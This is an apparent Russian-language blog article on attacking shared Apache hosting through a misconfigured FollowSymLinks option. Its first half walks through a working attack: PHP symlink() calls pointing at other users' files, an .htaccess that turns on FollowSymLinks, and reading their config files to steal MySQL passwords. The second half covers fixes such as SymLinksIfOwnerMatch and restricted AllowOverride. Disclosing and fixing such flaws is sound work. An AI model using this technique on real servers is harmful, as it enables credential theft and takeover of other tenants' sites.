Pull to refresh

Взлом сайтов через FollowSymLinks

Плюсам FollowSymLinks уделено немало статей, я хочу поведать об опасности его неправильной настройки.

Речь пойдет о серверах под Apache.

FollowSymLinks — инструмент «второго взлома». Нужен как минимум аккаунт (свой или взломанный на сервере) и желательно php.

Что делает FollowSymLinks? Делает при просмотре в браузере ссылку (symlink) идентичной файлу, на который она указывает. Плохо то, что FollowSymLinks никак не проверяет кому принадлежит файл. При этом сам Apache, имеет доступ к веб файлам всех пользователей.

Приступим!

Смотрим какой у нас путь к нашему скрипту на сайте (http://nash.site/)
пусть это будет /home/nash/public_html/view/some.php

сначала пробуем получить список директорий из /home/ средствами php
и находим там три каталога:
vasja
petja
kostja

Пишем в наш some.php:
symlink ('/home/vasja/public_html/nidex.php', 'vasja.txt');
symlink ('/home/petja/public_html/nidex.php', 'petja.txt');
symlink ('/home/kostja/public_html/nidex.php', 'kostja.txt');
Вызываем nash.site/some.php, получаем три симлинка.

Создаем в нашем каталоге view .htaccess с содержанием:
Options all
Options +Indexes
Options -SymLinksIfOwnerMatch
Options +FollowSymLinks
DirectoryIndex other.html

И пытаемся посмотреть в браузере
nash.site/view

Если три других пользователя имеют сайты на php и сервер уязвим, то с большей вероятностью кликнув на .txt файлы вы сможете прочитать содержимое их index.php

Получилось? Делаем symlink на «config.php/wp-conwig.php/settings.php» в их каталогах, получаем пароли к mysql. Устанавливаем adminer, подключаемся к базе. Этого достаточно что-бы сломать почти любой сайт на уязвимом сервере.

Как решить проблему?
Использовать не FollowSymLinks, а ее аналог SymLinksIfOwnerMatch, который проверяет владельца файла и симлинка.

И всё? Так просто?
Нет. При «AllowOverride All» пользователь может отключить SymLinksIfOwnerMatch и включить FollowSymLinks. Придется писать неудобные конструкции вместо «AllowOverride All»:

AllowOverride AuthConfig FileInfo Indexes Limit Options=Indexes,Includes,IncludesNOEXEC,SymLinksIfOwnerMatch,MultiViews,None


это, правда, заставит «вылетать» сайты пользователей у кого прописано
Options +FollowSymLinks

в .htaccess. А таких много. Почти все, кто на Joomla/Drupal.

Есть еще вариант с патчем для apache, что бы он считал все FollowSymLinks, как SymLinksIfOwnerMatch. Таким путем пошел directadmin и возможно, также другие панели управления. Буду рад, если поможете собрать информацию.

Итог. Уязвимость старая, требует аккаунт на сервере. Встречается часто и позволяет скомпрометировать почти весь сервер.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.